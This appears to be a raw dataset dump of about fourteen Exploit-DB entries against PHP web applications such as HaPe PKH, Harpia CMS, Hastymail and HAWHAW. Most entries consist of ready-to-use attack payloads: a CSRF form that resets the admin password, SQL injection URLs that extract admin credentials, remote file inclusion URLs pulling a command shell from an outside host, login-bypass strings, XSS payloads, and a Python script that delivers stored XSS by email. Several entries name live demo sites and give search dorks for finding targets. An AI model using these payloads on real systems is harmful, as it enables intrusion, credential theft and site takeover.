deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45591
Description: HaPe PKH 1.1 - Cross-Site Request Forgery (Update Admin)
Type: webapps
Platform: php
Date: 2018-10-12
Author: Ihsan Sencan

Exploit:
# Exploit Title: HaPe PKH 1.1 - Cross-Site Request Forgery (Update Admin)
# Dork: N/A
# Date: 2018-10-12
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.sitejo.id
# Software Link: https://sourceforge.net/projects/hape-pkh/files/latest/download
# Version: 1.1 
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Description
# The administrator password can be changed.

POST /hape-pkh/admin/modul/mod_user/aksi_user.php?module=user&act=update HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]15724
Content-Length: 350
Cookie: PHPSESSID=0msajnig4du85odc3hanq1dil2
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
----------------------------[PII_REDACTED]15724
Content-Disposition: form-data; name="id_user"
1
----------------------------[PII_REDACTED]15724
Content-Disposition: form-data; name="password"
efe
----------------------------[PII_REDACTED]15724
Content-Disposition: form-data; name="level"
admin
----------------------------[PII_REDACTED]15724--

/* `exploitdb`.`admin` */
$admin = array(
  array('id_user' => '1','nama_lengkap' => '','jk' => '','tempat' => '','tl' => '0000-00-00','alamat' => '','id_desa' => '','no_telp' => '','email' => '','username' => 'admin','password' => '5ebf8364d17c8df7e4afd586c24f84a0','level' => 'admin','blokir' => '','foto' => '76dsc00404.jpg')
);
efe = 5ebf8364d17c8df7e4afd586c24f84a0

# PoC:
# 2)

<form method="POST" enctype="multipart/form-data" action="http://localhost/hape-pkh/admin/modul/mod_user/aksi_user.php?module=user&act=update">
<input name="id_user" value="1" type="hidden">
<input name="username" value="admin" disabled=""> 
<input class="input3" size="30" name="password" type="text" value="efe">
<input name="level" value="admin" checked="" type="radio">
<input value="Update" type="submit">
</form>
Exploit-DB #7007
Description: Harlandscripts drinks - 'recid' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-05
Author: Ex Tacy

Exploit:
===========================================
Drinks script.
--------------------------------------------------------------------------------------
Vendor:     http://www.fivedollarscripts.com
Demo:       http://www.fivedollarscripts.com/drinks/index.php
Notified:     No. Probably don't care.
Price:        Five bones.
============================================

Exploit:
/path/index.php?cmd=6&recid=null union all select
1,null,concat(username,char(58),password),4,5,6,7,8,9,10,11,12 from
drinksadmin--

Live Demo:
http://www.fivedollarscripts.com/drinks/index.php?cmd=6&recid=null
union all select
1,null,concat(username,char(58),password),4,5,6,7,8,9,10,11,12 from
drinksadmin--

contact: x.s7acy at gmail dot com
greetings to bobthejanitor, mason, that new president guy, and the rest.
first script blah blah blah
=============================================

# milw0rm.com [2008-11-05]
Exploit-DB #6874
Description: Harlandscripts Pro Traffic One - 'mypage.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-29
Author: Beenu Arora

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - r45s4l    # 
#  ---QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE                #
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: Beenu Arora
# 
# Home  : www.BeenuArora.com 
# 
# Email : beenudel1986@gmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title: harlandscripts Mypage.php Sql Injection 

#
# Vendor: http://www.harlandscripts.com/ ( Paid Script )

# 
#
###########################################################
#
# d0rk:Powered by HarlandScripts.com
#
###########################################################
 
        
     
     Live Demo: 
	http://traffic.cyberaction.biz/mypage.php?trg=1142+and+1=2+union+select+1,2,3,user(),concat(0x3a,database()),6,7,8,9,10,11,12,13,14,15,version(),17,18,19,20,21,22,23,24,25,26,27,28--

     

###########################################################
#
#  Bug discovered : 29 Oct.2008
###########################################################

# milw0rm.com [2008-10-29]
Exploit-DB #1943
Description: Harpia CMS 1.0.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-22
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
Harpia CMS <= 1.0.5 Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Discovered By Kw3[R]Ln [ Romanian Security Team ]
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Harpia
version : LATEST VERSION 1.0.5
URL : http://sourceforge.net/projects/harpia

------------------------------------------------------------------
Exploit:
~~~~~~~

http://www.site.com/preload.php?config=owned&func_prog=http://site.com/cmd.gif?&cmd=ls
http://www.site.com/index.php?config=owned&func_prog=http://site.com/cmd.gif?&cmd=ls
http://www.site.com/missing.php?header_prog=[Evil_Script]
http://www.site.com/_inc/footer.php?theme_root=[Evil_Script]
http://www.site.com/_inc/header.php?mod_root=[Evil_Script]
http://www.site.com/_inc/header.php?theme_root=[Evil_Script]
http://www.site.com/_inc/pfooter.php?theme_root=[Evil_Script]
http://www.site.com/_inc/pheader.php?theme_root=[Evil_Script]
http://www.site.com/_inc/web_statsConfig.php?mod_dir=[Evil_Script]
http://www.site.com/_inc/web_statsConfig.php?php_ext=[Evil_Script]
http://www.site.com/_mods/email.php?header_prog=[Evil_Script]
http://www.site.com/_mods/files.php?header_prog=[Evil_Script]
http://www.site.com/_mods/files.php?footer_prog=[Evil_Script]
http://www.site.com/_mods/headlines.php?header_prog=[Evil_Script]
http://www.site.com/_mods/search.php?header_prog=[Evil_Script]
http://www.site.com/_mods/topics.php?header_prog=[Evil_Script]
http://www.site.com/_mods/users.php?header_prog=[Evil_Script]

---------------------------------------------------------------------------


Solution :
~~~~~~~~~

declare variabels

---------------------------------------------------------------------------


Shoutz:
~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and Romanian Security Team [ hTTp://Romania.HackTECK.BE ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~

Nick : Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://Romania.HackTECK.BE & http://www.h4cky0u.org/
/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-06-22]
Exploit-DB #5525
Description: Harris WapChat 1 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-04-30
Author: k1n9k0ng

Exploit:
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts         : Harris Wap Chat
Discovered By   : k1n9k0ng
Scripts site    : http://www.successkid.com/
Download Script : http://www.successkid.com/blogs/?p=2
Thanks To       : #sekuritionline, #semprol, #bajingan, #mimid, #yogyafree
Special To      : adhietslank, sukam, cyberlog, cah_gemblunkz, the_sims, aRiee
          letjen, k1tk4t, inouf and jayoes
Site            : www.sekuritionline.net
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Demo Site :
http://successkid.com/wapchat/itdiv.php

Bug Found:
http://www.site.com/wapchat/src/eng.writeMsg.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.adCreate.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.adCreateSave.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.adDispByTypeOptions.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.createRoom.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.forward.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.pageLogout.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.resultMember.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.roomDeleteConfirm.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.saveNewRoom.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.searchMember.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.writeMsg.php?sysFileDir=[shell]

# milw0rm.com [2008-04-30]
Exploit-DB #11383
Description: HASHE! Solutions - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-02-10
Author: AtT4CKxT3rR0r1ST

Exploit:
HASHE! Multiple Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Team           : Sec Attack Team
.:. Home           : www.sec-attack.com/vb
.:. Script         : HASHE
.:. Bug Type       : Sql Injection[Mysql]
.:. Dork           : [1] "Powered By HASHE"
                     [2] "Powered By HASHE!"
                     [3] "Powered By Hashe Computer Solutions"

####################################################################

    Sql Injection [MYSQL]

===[ Exploit ]===

www.site.com/home.php?id=37[Sql Injection]
www.site.com/home.php?id=37/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,group_concat(username,0x3a,password),7/**/from/**/admin


www.site.com/bar_detail.php?id=null[Sql Injection]
www.site.com/bar_detail.php?id=null'/**/and/**/1=2/**/UNION/**/SELECT/**/1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/**/from/**/admin-- -

    Sql Injection [Blind]

===[ Exploit ]===

www.site.com/propertydetails.php?Id=null[BLIND]

www.site.com/propertydetails.php?Id=null+and+1=1   >>>  True
www.site.com/propertydetails.php?Id=null+and+1=2   >>>  False

www.site.com/propertydetails.php?Id=null+and+substring(@@version,1,1)=4   >>>   True
www.site.com/propertydetails.php?Id=null+and+substring(@@version,1,1)=5   >>>   False

www.site.com/propertydetails.php?Id=null+and+(select substring(concat(1,concat(name,0x3a,password)),1,1) from admin limit 0,1)=1

    Sql Injection [Auth Bypass]

===[ Exploit ]===

www.site.com/admin/

Bug Type: Bar Manager
Username: 'or'1=1
Passowrd: 'or'1=1

http://server/admin/



Script Site:

http://server/home.php?id=37/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,group_concat%28username,0x3a,password%29,7/**/from/**/admin

####################################################################
Exploit-DB #28777
Description: Hastymail 1.x - IMAP SMTP Command Injection
Type: webapps
Platform: php
Date: 2006-10-10
Author: Vicente Aguilera Diaz

Exploit:
source: https://www.securityfocus.com/bid/20424/info

Hastymail is prone to an IMAP / SMTP command-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An authenticated malicious user could execute arbitrary IMAP / SMTP commands on the affected mail server processes. This may allow the user to send SPAM from the server or to exploit latent vulnerabilities in the underlying system.

Hastymail 1.5 and prior versions are affected.

This example sends the CREATE IMAP commands to the vulnerable parameter:
http://www.example.com/<path_to_hastymail>/html/mailbox.php?id=47fc54216aae12d57570c9703abe1b7d&mailbox=INBOX%2522%0d%0aA0003%20CREATE
%2522INBOX.vad

The SMTP POST relay example from nonexistant email address is available:

POST http://www.example.com/<path_to_hastymail>/html/compose.php HTTP/1.1

to include:

Content-Disposition: form-data; name="subject"

Proof of Concept
.
mail from: hacker@domain.com
rcpt to: victim@otherdomain.com
data
This is a proof of concept of the SMTP command injection in Hastymail
.
Exploit-DB #36347
Description: Hastymail2 - 'rs' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-22
Author: HTrovao

Exploit:
source: https://www.securityfocus.com/bid/50789/info

Hastymail2 is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Hastymail2 2.1.1 is vulnerable; other versions may also be affected. 

GET: http://<app_base>/index.php?page=mailbox&mailbox=Drafts
POST: rs=<script>alert(&#039;xss&#039;)</script>
Exploit-DB #20578
Description: hastymail2 webmail 1.1 rc2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-17
Author: Shai rod

Exploit:
#!/usr/bin/python

'''

# Exploit Title: Hastymail2 Webmail Stored XSS
# Date: 17/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://www.hastymail.org
# Software Link: http://sourceforge.net/projects/hastymail/files/latest/download
# Version: 1.1 RC2
 
#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar

# Timeline:
#17 Aug 2012: Discovered Vulnerability.
#17 Aug 2012: Sent details to the developer.
#17 Aug 2012: Fixed - http://hastymail.svn.sourceforge.net/viewvc/hastymail?view=revision&revision=2078

About the Application:
======================

Hastymail2 is a full featured IMAP/SMTP client written in PHP. Our goal is to create a fast, secure, compliant web mail client that has great usability. 
Hastymail2 is much more lightweight than most popular web based mail applications but still maintains a competitive feature set. The project originated 
as Hastymail in 2002, then was nearly completely rewritten as Hastymail2 starting in January of 2008. We have had several stable releases of the second 
generation of Hastymail and development continues to be active.



Vulnerability Description
=========================

1. Stored XSS in email subject in Thread View.

XSS Payload: <script>alert("XSS")<script>

Send an email to the victim with the payload in the subject field.
When the client opens the message and selects "Thread View" the XSS will be triggered.

'''

import smtplib

print "###############################################"
print "#      Hastymail2 1.1 RC2 Stored XSS POC      #"
print "#            Coded by: Shai rod               #"
print "#               @NightRang3r                  #"
print "#           http://exploit.co.il              #"
print "#       For Educational Purposes Only!        #"
print "###############################################\r\n"

# SETTINGS

sender = "attacker@localhost"
smtp_login = sender
smtp_[CREDENTIAL_REDACTED]"
recipient = "victim@localhost"
smtp_server  = "192.168.1.10"
smtp_port = 25
subject = "Hastymail2 Webmail XSS POC"
xss_payload = """<script>alert("XSS")</script>"""

# SEND E-MAIL

print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
       % (sender, ", ".join(recipient), subject + xss_payload) )
msg += "Content-type: text/html\n\n"
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"
Exploit-DB #38169
Description: Havalite CMS - 'comment' HTML Injection
Type: webapps
Platform: php
Date: 2013-01-06
Author: Henri Salo

Exploit:
source: https://www.securityfocus.com/bid/57169/info

Havalite CMS is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

Havalite CMS 1.1.7 is vulnerable; other versions may also be affected. 

http://www.example.com/?p=1 "comment" with value %E2%80%9C%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
Exploit-DB #13912
Description: Havij 1.10 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-17
Author: hexon

Exploit:
# Exploit Title: Havij Persistent XSS (<=v1.10)
# Date: 15/6/2010
# Author: hexon
# Version: 1.10 and below
# Tested on: Windows XP Service Pack 2 Professional, Windows 7
# Code : htttp://site.com/file.php?param=[XSS Code]


Havij Persistent XSS (<=v1.10)

By : Hkhexon (hkhexon@gmail.com)


-------------
Vulnerability
-------------

Havij does not do any filtration in Target bar so XSS codes can be executed.
However , you need to find a site that is vulnerable to XSS and SQL
Injection.
The site cannot be vulnerable to just XSS only as Havij will stop working
as it cannot inject it.

Functions Affected:
-Save in Info
-Save Tables in Tables
-Save Data in Tables

------------
Exploitation
------------

Eventhough I said you need to find a site that is vulnerable to XSS and SQL
Injection,
There is also an exception to this.Instead,you can find a site vulnerable to
SQL Injection and use SiXSS to generate your desired XSS code.
You can also put the XSS code after the Vulnerable Parameter.

Of course, before that you would need to find the column count and string
column
and replace the String column with the XSS code.

For your acknowledge , String column is the column number where the data
produces
output at the site.

Example (Type it in Target and click Analyse):

------------
SiXSS Method
------------

http://localhost/sqli.php?sqli=-1337 union select
1,'',3
or you can also remove the quotes in the XSS code, it doesn't matter.
(Assume that Column count = 3 and String column = 2)

Or the simpler one without using SiXSS:
http://localhost/sqli.php?sqli=2

If magic_quotes or addslashes is on, it would make no difference as only the
quotes
are filtered and the code will still execute unless your XSS code has quotes
in it.

NOTE : You cannot use encoding like char() or hex as the html file generated
will not parse it into plain text and execute the code.

After that , you can do either the following:
-Click Save in Info and save the html file.
-Click Save Tables in Tables and save the html file.
-Extract some data by using Get Tables,then Get Columns,then Get Data,and
save the html file by using Save Data.

After html file has been generated, open it and your XSS code will execute.


This may look undangerous since the file is made inside your computer,
but almost all XSS techniques requires the attacker to trick users to go to
a
particular file of the site though. So, anything can happen , its just that
you need to be creative.

-----
Patch
-----

I had already notified the Author of Havij(r3dm0v3).

The reason why I do not have patch for this is that I do not have the
source of Havij so I'll let r3dm0v3 to do it himself.

----------
Queries ??
----------

Please email to hkhexon@gmail.com.
Exploit-DB #33950
Description: HAWHAW - 'newsread.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-31
Author: s4r4d0

Exploit:
source: https://www.securityfocus.com/bid/39978/info

HAWHAW is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wap/newsread.php?storyid=-1+UNION+SELECT+1,@@version,3,4
Exploit-DB #11602
Description: HazelPress Lite 0.0.4 - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-02-28
Author: cr4wl3r

Exploit:
# HazelPress Lite <= 0.0.4 (Auth Bypass) SQL Injection Vulnerability
# By cr4wl3r
# Download: http://hazelpress.org/index.php?hazel=downloads

# PoC: [path]/login.php

# Username: ' or '1=1
# password: ' or '1=1
Exploit-DB #9835
Description: HB CMS 1.7 - SQL Injection
Type: webapps
Platform: php
Date: 2009-09-22
Author: Securitylab Security Research

Exploit:
########################## Securitylab.ir ########################
# Application Info:
# Name: HB cms
# Version: 1.7
# Website: http://www.hbcms.com
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Sql Injection
# Risk: Medium
# Dork: inurl:/hbcms/php/
# magic_quotes_gpc = On  /\  register_globals = Off
#===========================================================
# User:
# http://site.com/[path]/php/update_article_hits.php?show_hits=yes&article_id=-1%e5" union select login_name from hbcms_users where id=1%23
# 
# Pass:
# http://site.com/[path]/php/update_article_hits.php?show_hits=yes&article_id=-1%e5" union select login_pass from hbcms_users where id=1%23
#
# Demo:
# http://www.aolinivt.com/hbcms
# http://www1.bonetumor.cc/hbcms
# http://beauty-f.com/ps/hbcms
#===========================================================
#################################################################
# Securitylab Security Research Team
###################################################################